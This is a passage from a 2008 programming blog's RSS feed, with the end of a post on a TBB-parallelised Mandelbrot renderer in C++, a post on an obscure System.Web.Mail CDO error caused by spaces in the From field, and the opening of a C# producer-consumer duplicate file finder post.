<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)(</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> <span style="color: teal;">1</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>y <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> y_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> y_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">bool</span> loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">bool</span> loop_stop2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">while</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">!(</span>loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> loop_stop2<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">((</span>zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xtemp1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i1<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">((</span>zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i2<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xtemp2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i2<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; loop_stop2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i1<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; color_t c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> i2&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">+</span><span style="color: teal;">1</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
</div>
<p>This code generates identical results as the code mentioned previously. As you can see, the inner loop is not unrolled to handle two data points at a time.</p>
<p>As it turned out, this algorithm runs almost twice as fast as the code mentioned earlier(280ms versus 510ms on Intel Q9450 @ 3.4GHz).</p>
<p align="center"><img alt="Mandelbrot Set" src="/blog/wp-content/uploads/2008/09/mandelbrot_tbb.jpg" /></p>
<p><strong>Source code</strong> for this article can be downloaded <a href="/blog/wp-content/uploads/2008/09/mandelbrot_tbb.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Obscure System.Web.Mail Error Message</title>
		<link>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/</link>
		<comments>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 01:08:05 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=345</guid>
		<description><![CDATA[Today I encountered a rather obscure error while maintaining some old ASP.Net code (Framework 1.1). One of our mail servers is going to be replaced with another one. So naturally we needed to change configurations for those applications that send emails using the old server. This change affected one of the applications I wrote a [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered a rather obscure error while maintaining some old ASP.Net code (Framework 1.1).<span id="more-345"></span> One of our mail servers is going to be replaced with another one. So naturally we needed to change configurations for those applications that send emails using the old server.</p>
<p>This change affected one of the applications I wrote a while ago. Since I stored all the configuration information inside the web.config file, I thought it was just a simple matter of changing the server from &#8216;server1&#8242; to &#8216;server2&#8242; and then I was done. Well, as it turned out, the result was totally unexpected.</p>
<p>Upon finishing the configuration change, I decided to test the application even though I was sure that everything would be working just fine. I was wrong, instead of getting the expected results, I got the following error message while trying to send email through the application:</p>
<p><strong>Exception:</strong><br />
<span style="color: #800000;">Could not access &#8216;CDO.Message&#8217; object.</span></p>
<p><strong>InnerException:</strong><br />
<span style="color: #800000;">Exception has been thrown by the target of an invocation.InnerException:<br />
at System.RuntimeType.InvokeDispMethod(String name, BindingFlags invokeAttr, Object target, Object[] args, Boolean[] byrefModifiers, Int32 culture, String[] namedParameters)<br />
at System.RuntimeType.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args, ParameterModifier[] modifiers, CultureInfo culture, String[] namedParameters)<br />
at System.Type.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args)<br />
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Type type, Object obj, String methodName, Object[] args)<br />
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Object obj, String methodName, Object[] args)</span></p>
<p>Since the only thing changed was the server configuration, I thought that it was definitely a configuration problem of the new mail server. But that could not have been the problem as many applications had already been migrated over and they were working just fine.</p>
<p>After a Google search, it became apparent to me that many people out there are having <a href="http://www.systemwebmail.com/">the same issue</a>. But no information seemed to point to a definitive answer. And the tricks mentioned in various articles did not solve my particular problem. After some struggle, I found out that the culprit was actually my <strong>MailMessage.From</strong> field. Instead of an actual email address, I had always used some random names (e.g. system notification, etc.). And apparently, the spaces in the From field string would cause the error I mentioned above. And if I remove all the spaces in the From field, the exception goes away. Since the <strong>SmtpMail</strong> object is simply a wrapper for the Win32 CDO (Collaborative Data Objects), the error was poorly propagated back (like many of the errors in .Net as I mentioned previously. See <a href="/2008/01/11/the-elusive-filecopy/">1</a>, <a href="/2007/11/15/understanding-a-generic-error-occurred-in-gdi-error/">2</a>, <a href="/2007/10/23/lousy-gdi-error-messages/">3</a>).</p>
<p>Indeed, had the error message been something more clear like &#8220;<em>Error: From field must not contain any space</em>&#8220;, I would not have spent the good portion of the afternoon hunting for bugs (I still think it must have something to do with the new mail server&#8217;s configuration, since this code has been working with other mail servers).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Producer-Consumer: A Duplicate File Finder</title>
		<link>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/</link>
		<comments>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/#comments</comments>
		<pubDate>Sat, 06 Sep 2008 01:08:16 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/</guid>
		<description><![CDATA[Processes tend to benefit greatly from multi-core processors if they are CPU bound (i.e. computational intensive tasks). The actual speedup depends on the portion of the code that must remain sequential. The multi-core benefit diminishes for IO bound processes however since hard drive performance becomes the limiting factor. Unlike solid state drives (SSD), traditional hard [...]]]></description>
			<content:encoded><![CDATA[<p>Processes tend to benefit greatly from multi-core processors if they are CPU bound (i.e. computational intensive tasks). The actual speedup <a href="http://en.wikipedia.org/wiki/Amdahl%27s_Law">depends on the portion of the code that must remain sequential</a>.<span id="more-334"></span> The multi-core benefit diminishes for IO bound processes however since hard drive performance becomes the limiting factor. Unlike solid state drives (SSD), traditional hard drives are very good at handling large sequential reads/writes but handle random accesses poorly. In fact, parallelizing sequential read/write access can actually cause performance degradation since sequential data might be accessed by different threads and parallelizing the access makes the access pattern of each thread more random. So the performance of such IO bound task is largely determined by the IO sub-system performance.</p>
<p>For tasks that contain both intensive IO operations and CPU usages however it is desirable to parallelize the IO bound portion and the CPU bound portion of code so that maximum parallelism can be achieved.</p>
<p>An example of such IO and CPU intensive tasks is finding duplicate files in a file system. To find duplicate files, files or their hashes must be compared. In this post, I will discuss a couple of different approaches to achieve this using threading.</p>
<p><strong>1. Sequential find</strong><br />
First let us take a look at how to find duplicate files sequentially (all the sample code can be downloaded from <a href="/blog/wp-content/uploads/2008/09/dupfinder.zip">here</a>):</p>
<p>Suppose we have a function that returns a list of files within a directory (see GetFileList in FileUtils). In function FindDuplicates, we loop through the list of files and calculate the hash of each file. The file name and hash are used together as a key to a hash table. Whenever the same key is indexed the count is incremented by one indicating a duplicate file is found. Here is what the code looks like:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> fn <span style="color: blue; font-weight: bold;">in</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span> h <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> ComputeMD5(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (h <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Empty)</div>
